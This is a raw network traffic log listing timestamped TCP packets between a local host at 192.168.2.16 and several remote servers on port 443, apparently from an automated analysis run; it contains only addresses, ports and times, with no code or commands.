Nov 22, 2024 23:00:53.950867891 CET	443	49795	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.951211929 CET	49795	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.951267004 CET	443	49795	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.954854012 CET	443	49795	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.954968929 CET	49795	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.955627918 CET	49795	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.955809116 CET	443	49795	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:53.955830097 CET	49795	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:53.998202085 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.998279095 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:53.998389959 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.998749971 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:53.998785019 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:54.003328085 CET	443	49795	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.010740042 CET	49795	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.010772943 CET	443	49795	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.058722973 CET	49795	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.124397993 CET	49795	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.124597073 CET	443	49795	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.124689102 CET	49795	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.126008987 CET	49802	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.126019955 CET	443	49802	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.126125097 CET	49802	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.126367092 CET	49802	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.126375914 CET	443	49802	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.318311930 CET	49803	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.318357944 CET	443	49803	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.318438053 CET	49803	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.318732023 CET	49803	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.318752050 CET	443	49803	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.479490995 CET	443	49796	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.479810953 CET	49796	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.479823112 CET	443	49796	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.480789900 CET	443	49796	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.480870008 CET	49796	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.481234074 CET	49796	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.481278896 CET	443	49796	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.481394053 CET	49796	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.481400013 CET	443	49796	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.522696018 CET	49796	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.808612108 CET	443	49797	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.809062004 CET	49797	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.809125900 CET	443	49797	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.810178041 CET	443	49797	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.810264111 CET	49797	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.811453104 CET	49797	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.811527967 CET	443	49797	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.855779886 CET	49797	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:54.855840921 CET	443	49797	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:54.903655052 CET	49797	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.106333017 CET	49804	443	192.168.2.16	172.217.19.206
Nov 22, 2024 23:00:55.106372118 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:55.106466055 CET	49804	443	192.168.2.16	172.217.19.206
Nov 22, 2024 23:00:55.106733084 CET	49804	443	192.168.2.16	172.217.19.206
Nov 22, 2024 23:00:55.106751919 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:55.289685965 CET	49796	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.289776087 CET	443	49796	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.289860010 CET	49796	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.290679932 CET	49797	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.331331015 CET	443	49797	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.339984894 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:55.341535091 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:55.341562033 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:55.398262024 CET	443	49798	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.398561954 CET	49798	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.398580074 CET	443	49798	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.400057077 CET	443	49798	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.400157928 CET	49798	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.400593042 CET	49798	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.400676966 CET	443	49798	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.447640896 CET	49798	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.447657108 CET	443	49798	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.495646954 CET	49798	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.637676954 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:55.637696028 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:55.750503063 CET	49797	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.750675917 CET	443	49797	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.750744104 CET	49797	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.751311064 CET	49798	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.799330950 CET	443	49798	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.860008001 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:55.860074043 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:55.860121012 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:55.860161066 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:55.860194921 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:55.860213041 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:55.860250950 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:55.869715929 CET	443	49802	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.870095015 CET	49802	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.870127916 CET	443	49802	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.873814106 CET	443	49802	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.873914003 CET	49802	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.874279976 CET	49802	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.874445915 CET	443	49802	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.924664021 CET	49802	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:55.924674034 CET	443	49802	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:55.972665071 CET	49802	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:56.060945988 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.060978889 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.061093092 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.061110973 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.061156034 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.062393904 CET	443	49803	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:56.062845945 CET	49803	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:56.062855959 CET	443	49803	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:56.063345909 CET	443	49803	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:56.063749075 CET	49803	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:56.063834906 CET	443	49803	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:56.107521057 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.107574940 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.107666016 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.107686043 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.107718945 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.107743025 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.116652012 CET	49803	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:56.233951092 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.234024048 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.234069109 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.234092951 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.234108925 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.234138966 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.272110939 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.272157907 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.272233963 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.272243977 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.272275925 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.272285938 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.278496027 CET	49798	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:56.278598070 CET	443	49798	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:56.278661966 CET	49798	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:56.279279947 CET	49802	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:56.293828011 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.293850899 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.293950081 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.293977976 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.294028044 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.315304041 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.315335035 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.315434933 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.315445900 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.315495968 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.327344894 CET	443	49802	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:56.374474049 CET	49802	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:56.374648094 CET	443	49802	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:56.374725103 CET	49802	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:56.380062103 CET	49803	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:56.423331022 CET	443	49803	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:56.430066109 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.430097103 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.430159092 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.430167913 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.430200100 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.430217981 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.446324110 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.446350098 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.446405888 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.446413040 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.446427107 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.446443081 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.461358070 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.461385012 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.461440086 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.461446047 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.461468935 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.461489916 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.474368095 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.474391937 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.474442005 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.474450111 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.474476099 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.474498987 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.489667892 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.489700079 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.489748001 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.489753962 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.489769936 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.489794016 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.503500938 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.503525019 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.503566027 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.503571987 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.503602982 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.503623962 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.518419981 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.518450975 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.518488884 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.518495083 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.518510103 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.518528938 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.625782967 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.625817060 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.625878096 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.625895977 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.625912905 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.625941038 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.635695934 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.635723114 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.635780096 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.635787010 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.635941982 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.635941982 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.646480083 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.646507025 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.646550894 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.646557093 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.646716118 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.646716118 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.656649113 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.656676054 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.656719923 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.656725883 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.656893969 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.656893969 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.666831970 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.666858912 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.666903973 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.666910887 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.666939974 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.666949987 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.676238060 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.676266909 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.676307917 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.676316977 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.676332951 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.676358938 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.686419010 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.686445951 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.686486959 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.686491966 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.686650991 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.686650991 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.695225000 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.695254087 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.695296049 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.695324898 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.695343971 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.695363998 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.826769114 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.826805115 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.826864958 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.826883078 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.826901913 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.826934099 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.834626913 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.834645987 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.834717989 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.834734917 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.834778070 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.841547012 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.841573954 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.841646910 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.841664076 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.841711998 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.849395037 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.849416018 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.849473000 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.849481106 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.849499941 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.849525928 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.855767012 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:56.855986118 CET	49804	443	192.168.2.16	172.217.19.206
Nov 22, 2024 23:00:56.855995893 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:56.856328011 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:56.856383085 CET	49804	443	192.168.2.16	172.217.19.206
Nov 22, 2024 23:00:56.856935024 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:56.856992960 CET	49804	443	192.168.2.16	172.217.19.206
Nov 22, 2024 23:00:56.857280970 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.857301950 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.857352018 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.857361078 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.857374907 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.857403040 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.857887030 CET	49804	443	192.168.2.16	172.217.19.206
Nov 22, 2024 23:00:56.857953072 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:56.858022928 CET	49804	443	192.168.2.16	172.217.19.206
Nov 22, 2024 23:00:56.858031034 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:56.858092070 CET	49804	443	192.168.2.16	172.217.19.206
Nov 22, 2024 23:00:56.864654064 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.864675045 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.864736080 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.864743948 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.864784002 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.872570992 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.872591019 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.872662067 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.872670889 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.872716904 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.879478931 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.879499912 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.879574060 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.879580975 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:56.879626989 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:56.903340101 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:57.028094053 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.028156996 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.028201103 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.028220892 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.028239965 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.028269053 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.035759926 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.035809040 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.035913944 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.035923004 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.036029100 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.043656111 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.043704033 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.043752909 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.043761969 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.043791056 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.043804884 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.050498009 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.050540924 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.050566912 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.050575018 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.050609112 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.050621986 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.058384895 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.058429956 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.058480024 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.058486938 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.058515072 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.058542967 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.059869051 CET	443	49803	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:57.060035944 CET	443	49803	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:57.060103893 CET	49803	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:57.060869932 CET	49803	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:57.060888052 CET	443	49803	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:57.065876961 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.065922976 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.065973043 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.065979958 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.066028118 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.066028118 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.071495056 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.071532011 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.071583986 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.071589947 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.071614981 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.071633101 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.071638107 CET	443	49799	217.77.14.110	192.168.2.16
